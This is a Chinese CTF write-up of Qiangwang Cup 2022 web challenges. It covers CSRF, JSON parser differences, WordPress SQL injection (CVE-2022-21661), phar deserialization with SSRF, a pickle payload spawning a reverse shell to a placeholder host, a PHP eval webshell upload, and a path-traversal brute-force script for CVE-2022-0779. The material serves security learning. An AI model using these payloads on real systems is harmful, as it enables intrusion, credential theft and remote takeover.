只有强网先锋的命。
babyweb
题目提示如下。
1 2 3 4 5 6 7
| 你: help bot: 1. help: 帮助菜单 2. changepw: 修改密码 示例: changepw 123456 3. bugreport: 向管理员报告漏洞页面 示例: bugreport http://host:port/login
|
构造CSRF,修改管理员密码。
1 2 3 4 5 6 7 8
| <script> var ws = null; var url = "ws://127.0.0.1:8888/bot"; ws = new WebSocket(url); ws.onopen = function(event) { ws.send("changepw 123456") } </script>
|
然后上号,买了个hint,提示给了个源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| @app.route("/buy", methods=['POST']) def buy(): if not session: return redirect('/login') elif session['user'] != 'admin': return "you are not admin" else : result = {} data = request.get_json() product = data["product"] for i in product: if not isinstance(i["id"],int) or not isinstance(i["num"],int): return "not int" if i["id"] not in (1,2): return "id error" if i["num"] not in (0,1,2,3,4,5): return "num error" result[i["id"]] = i["num"] sql = "select money,flag,hint from qwb where username='admin'" conn = sqlite3.connect('/root/py/test.db') c = conn.cursor() cursor = c.execute(sql) for row in cursor: if len(row): money = row[0] flag = row[1] hint = row[2] data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] r = requests.post("http://127.0.0.1:10002/pay",data).text r = json.loads(r) if r["error"] != 0: return r["error"] money = int(r["money"]) hint = hint + result[1] flag = flag + result[2] sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag) conn = sqlite3.connect('/root/py/test.db') c = conn.cursor() try: c.execute(sql) conn.commit() except Exception as e: conn.rollback() c.close() conn.close() return "database error" return "success"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package main
import ( "github.com/buger/jsonparser" "fmt" "net/http" "io/ioutil" "io" )
func pay(w http.ResponseWriter, r *http.Request) { var cost int64 = 0 var err1 int64 = 0 json, _ := ioutil.ReadAll(r.Body) secret, err := jsonparser.GetString(json, "secret") if err != nil { fmt.Println(err) } if secret != "xxxx"{ io.WriteString(w, "{\"error\": \"secret error\"}") return } money, err := jsonparser.GetInt(json, "money") if err != nil { fmt.Println(err) } _, err = jsonparser.ArrayEach( json, func(value []byte, dataType jsonparser.ValueType, offset int, err error) { id, _ := jsonparser.GetInt(value, "id") num, _ := jsonparser.GetInt(value, "num") if id == 1{ cost = cost + 200 * num }else if id == 2{ cost = cost + 1000 * num }else{ err1 = 1 } }, "product") if err != nil { fmt.Println(err) } if err1 == 1{ io.WriteString(w, "{\"error\": \"id error\"}") return } if cost > money{ io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}") return } money = money - cost io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money)) }
func main() { mux := http.NewServeMux() mux.HandleFunc("/pay", pay) http.ListenAndServe(":10002", mux) }
|
大意是通过Python解析一遍请求包进行安全检查后,再转交给Golang处理数据。
绕过的原理是利用JSON解析的差异,例如:
1 2 3 4 5
| { "id": 2, "num": -1, "num": 0 }
|
对以上数据,Python获取到的是最后一个num的值,而Golang获取到的是第一个num的值。
因此构造如下。
1 2 3 4 5 6 7 8 9 10 11 12 13
| { "product": [ { "id": 1, "num": 0 }, { "id": 2, "num": -1, "num": 0 } ] }
|
easylogin
wpscan扫了一下,是5.8.2,有个注入,CVE-2022-21661。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 47.104.251.7:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99 Connection: close Upgrade-Insecure_Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 309
action=aa&query_vars%5Btax_query%5D%5B1%5D%5Binclude_children%5D=1&query_vars%5Btax_query%5D%5B1%5D%5Bterms%5D%5B1%5D=*&query_vars%5Btax_query%5D%5B1%5D%5Bfield%5D=term_taxonomy_id
|
然后上SQLMAP。
1
| sqlmap -r sql.txt -batch --thread 10 --tamper=space2comment --random-agent --level 3 --technique E --dbs
|
注出mdl_user_password_resets里的session用于修改管理员密码,或者运气好可以去mdl_sessions里上车。
然后就是CVE-2020-14321一把梭。
easyweb
先是任意文件读取。
1
| GET /showfile.php?f=guest/../../../../../../../../../etc/passwd
|
然后拿到源码,但拿不到showfile.php的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
| <?php error_reporting(0); require_once('class.php'); if (isset($_SESSION)) { if (isset($_GET['fname']) ? !empty($_GET['fname']) : FALSE) { $_FILES["file"]["name"] = $_GET['fname']; } $upload = new Upload(); $upload->upload(); } else { die("<p class='tip'>guest can not upload file</p>"); } ?>
<?php
class Upload { public $file; public $filesize; public $date; public $tmp;
function __construct() { $this->file = $_FILES["file"]; }
function do_upload() { $filename = session_id() . explode(".", $this->file["name"])[0] . ".jpg"; if (file_exists($filename)) { unlink($filename); } move_uploaded_file($this->file["tmp_name"], md5("2022qwb" . $_SERVER['REMOTE_ADDR']) . "/" . $filename); echo 'upload ' . "./" . md5("2022qwb" . $_SERVER['REMOTE_ADDR']) . "/" . $this->e($filename) . ' success!'; }
function e($str) { return htmlspecialchars($str); }
function upload() { if ($this->check()) { $this->do_upload(); } }
function __toString() { return $this->file["name"]; }
function __get($value) { $this->filesize->$value = $this->date; echo $this->tmp; }
function check() { $allowed_types = array("jpg", "png", "jpeg"); $temp = explode(".", $this->file["name"]); $extension = end($temp); if (in_array($extension, $allowed_types)) { return true; } else { echo 'Invalid file!'; return false; } } }
class GuestShow { public $file; public $contents; public function __construct($file) {
$this->file=$file; } function __toString() { $str = $this->file->name; return ""; }
function __get($value) { return $this->$value; }
function show() { $this->contents = file_get_contents($this->file); $src = "data:jpg;base64," . base64_encode($this->contents); echo "<img src={$src} />"; }
function __destruct() { echo $this; } }
class AdminShow { public $source; public $str; public $filter; public function __construct($file) { $this->source = $file; $this->schema = 'file:///var/www/html/'; } public function __toString() { $content = $this->str[0]->source; $content = $this->str[1]->schema; return $content; }
public function __get($value) { $this->show(); return $this->$value; }
public function __set($key, $value) { $this->$key = $value; }
public function show() { if (preg_match('/usr|auto|log/i', $this->source)) { die("error"); } $url = $this->schema . $this->source; var_dump($url); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 1); $response = curl_exec($curl); curl_close($curl); $src = "data:jpg;base64," . base64_encode($response); echo "<img src={$src} />";
}
public function __wakeup() { if ($this->schema !== 'file:///var/www/html/') { $this->schema = 'file:///var/www/html/'; } if ($this->source !== 'admin.png') { $this->source = 'admin.png'; } } } ?>
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> <title>神奇的照片墙</title> <!-- css --> <style> </style> </head>
<body> <h1>欢迎来到强网杯照片墙</h1>
<form action="index.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"><br> <a href="showfile.php?f=./demo.png">查看照片</a>
<?php $upload = md5("2022qwb" . $_SERVER['REMOTE_ADDR']); @mkdir($upload, 0333, true); if (isset($_POST['submit'])) { include 'upload.php'; } ?>
</form> </body>
|
可以使用Phar协议读取,结合class.php的内容得出是Phar反序列化,结合PHP_SESSION_UPLOAD_PROGRESS上传绕过upload.php中的session校验。
以及结合题目提示的【照片墙的内部系统中可能还有什么系统】,以及AdminShow类中的curl请求,猜测还需要进行SSRF。然后从/proc/net/arp里读了个10.10.10.10。
构造POP链,绕的一比。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php class GuestShow{ public $file; public $contents; public function __construct() { } } class Upload { public $file; public $filesize; public $date; public $tmp; function __construct(){
} } class AdminShow{ public $source; public $str; public $filter; public function __construct() {
} } $a = new GuestShow(); $a->file = new Upload(); $a->file->filesize = new GuestShow(); $a->file->tmp=new AdminShow(); $b = new Upload(); $b->filesize = new AdminShow(); $b->date = ""; $b->tmp = new GuestShow();
$c = new Upload(); $c->filesize = $b->filesize; $c->date = "http://10.10.10.10/"; $c->tmp = new GuestShow();
$a->file->tmp->str[0] = $b; $a->file->tmp->str[1] = $c; $b->tmp->file = $b->filesize; $c->tmp->file = $b->filesize;
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); ?>
|
上传脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests
def generate_exp(): url = "http://127.0.0.1:8888/exp.php" r = requests.get(url=url)
def post_exp(): url = "http://47.104.95.124:8080/upload.php" header = {"Cookie": "PHPSESSID=dcgsisq1ocelvqa0rk023n5aar"} content = open("phar.phar", 'rb').read() r = requests.post(url=url, data={'PHP_SESSION_UPLOAD_PROGRESS': content}, files={'file': ('demodemo.jpg', content)}, headers=header) print(r.text)
|
返回了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
highlight_file(__FILE__);
if (isset($_GET['url'])){ $link = $_GET['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj);
echo $result; }
if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){ system('cat /flag'); die(); }
?>
|
再直接构造如下。
1
| http://10.10.10.10/?url=file:///flag
|
crash
好像是非预期了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import base64
import pickle import random
import admin from flask import Flask, make_response, request, session
app = Flask(__name__, static_url_path='') app.secret_key = random.randbytes(12)
class User: def __init__(self, username, password): self.username = username self.token = hash(password)
def get_password(username): if username == "admin": return admin.secret else: return session.get("password")
@app.route('/balancer', methods=['GET', 'POST']) def flag(): pickle_data = base64.b64decode(request.cookies.get("userdata")) if b'R' in pickle_data or b"secret" in pickle_data: return "You damm hacker!" os.system("rm -rf *py*") userdata = pickle.loads(pickle_data) if userdata.token != hash(get_password(userdata.username)): return "Login First" if userdata.username == 'admin': return "Welcome admin, here is your next challenge!" return "You're not admin!"
@app.route('/login', methods=['GET', 'POST']) def login(): resp = make_response("success") session["password"] = request.values.get("password") resp.set_cookie("userdata", base64.b64encode( pickle.dumps(User(request.values.get("username"), request.values.get("password")), 2)), max_age=3600) return resp
@app.route('/', methods=['GET', 'POST']) def index(): return open('source.txt', "r").read()
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
|
Pickle反序列化。
1 2 3 4 5 6 7 8
| import base64
payload = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(), 2); p=subprocess.call(["/bin/sh","-i"]);""" b64_p = base64.b64encode(payload.encode()) print(b64_p.decode()) a = b'(cos\nsystem\nVecho %s | base64 -d > 3.py &&python3 3.py\no.' % b64_p
print("userdata=" + base64.b64encode(a).decode())
|
根据题目提示构造504界面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import base64
text = """import time
from flask import Flask
app = Flask(__name__)
@app.route('/test') def info(): time.sleep(9999999) return 'test'
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)"""
print("echo %s | base64 -d > test.py && python3 test.py" % base64.b64encode(text.encode()).decode())
|
rcefile
扫目录,给了www.zip。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php spl_autoload_register(); error_reporting(0);
function e($str) { return htmlspecialchars($str); }
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]); ?> <p> <a href="/index.php">Index</a> <a href="/showfile.php">files</a> </p>
<?php include "config.inc.php";
$file = $_FILES["file"]; if ($file["error"] == 0) { if ($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) { $typeArr = explode("/", $file["type"]); $imgType = array("png", "jpg", "jpeg"); if (!$typeArr[0] == "image" | !in_array($typeArr[1], $imgType)) { exit("type error"); } $blackext = ["php", "php5", "php3", "html", "swf", "htm", "phtml"]; $filearray = pathinfo($file["name"]); $ext = $filearray["extension"]; if (in_array($ext, $blackext)) { exit("extension error"); } $imgname = md5(time()) . "." . $ext; if (move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $imgname)) { array_push($userfile, $imgname); setcookie("userfile", serialize($userfile), time() + 3600 * 10); $msg = e("file: {$imgname}"); echo $msg; } else { echo "upload failed!"; } } } else { exit("error"); } ?>
|
文件上传,注意到spl_autoload_register()这个方法,默认自动加载目录下后缀为inc和php的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /upload.php HTTP/1.1 Host: eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com Content-Length: 1152 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryirGAlp1k5trAkWST User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: userfile=a%3A2%3A%7Bi%3A0%3Bs%3A36%3A%22bdabbec69fa7f7817209f34476ceeab2.inc%22%3Bi%3A1%3Bs%3A36%3A%228f279b4536aec0818f5292475f928ff4.jpg%22%3B%7D Connection: close
------WebKitFormBoundaryirGAlp1k5trAkWST Content-Disposition: form-data; name="file"; filename="south.inc" Content-Type: image/jpeg
<?php eval($_POST['south']);?> ------WebKitFormBoundaryirGAlp1k5trAkWST--
|
然后cookie处给userfile一个反序列化字符串,将spl_autoload_register()方法加载进来的内容进行反序列化,类名即文件名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /showfile.php HTTP/1.1 Host: eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com Content-Length: 38 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://eci-2ze2ahooasratwvnc3gc.cloudeci1.ichunqiu.com/showfile.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: userfile=O:32:"f1bf541922866b8af988fe8a0080a45c":0:{} Connection: close
south=system%28%27cat+%2Fflag%27%29%3B
|
WP-UM
题目提示。
1 2 3
| 猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。 并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n 这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。
|
根据插件User Meta猜测是CVE-2022-0779,用户名已给出MaoGePaMao,根据dockerfile拿到路径是/password/。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import string
import requests
for j in range(20): for i in string.ascii_letters + string.digits: burp0_url = "http://eci-2ze9ta9edjrri34x6quu.cloudeci1.ichunqiu.com:80/wp-admin/admin-ajax.php" burp0_cookies = { "wordpress_945fc09f9fc43687ccf959db02ecaf45": "south%7C1659408111%7CYWQvsxTWQkfN0G6SJfE1igTuSVdQpeBo4I5hQRHxPOD%7C74d4b198bdd387d32810c0857a838372b4e1d452b946f50ed38d904388e07a34", "wordpress_logged_in_945fc09f9fc43687ccf959db02ecaf45": "south%7C1659408111%7CYWQvsxTWQkfN0G6SJfE1igTuSVdQpeBo4I5hQRHxPOD%7C5b0af441d41b94827cf31d69758ca92f902616a95558444eb92cc9dee011d9bb", "wp-settings-time-2": "1659236134"} burp0_headers = {"Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://eci-2ze9ta9edjrri34x6quu.cloudeci1.ichunqiu.com", "Referer": "http://eci-2ze9ta9edjrri34x6quu.cloudeci1.ichunqiu.com/index.php/upload/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} burp0_data = {"field_name": "upload", "filepath": "/../../../../../../../../../../../../../../password/" + str(j) + i, "field_id": "um_field_2", "form_key": "upload", "action": "um_show_uploaded_file", "pf_nonce": "6ca6fde673", "is_ajax": "true"} r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) if "um_remove_file" in r.text: print(i, end="") break
|
拿到密码是MaoGeYaoQiFeiLa,上去后主题文件写马,flag在/usr/local/This_1s_secret下面。
Refer
JSON Parsers 差异安全问题探索
CVE-2022-21661
CVE-2020-14321
CVE-2019-17221
论Web狗如何在CTF中苟到最后
CVE-2022-0779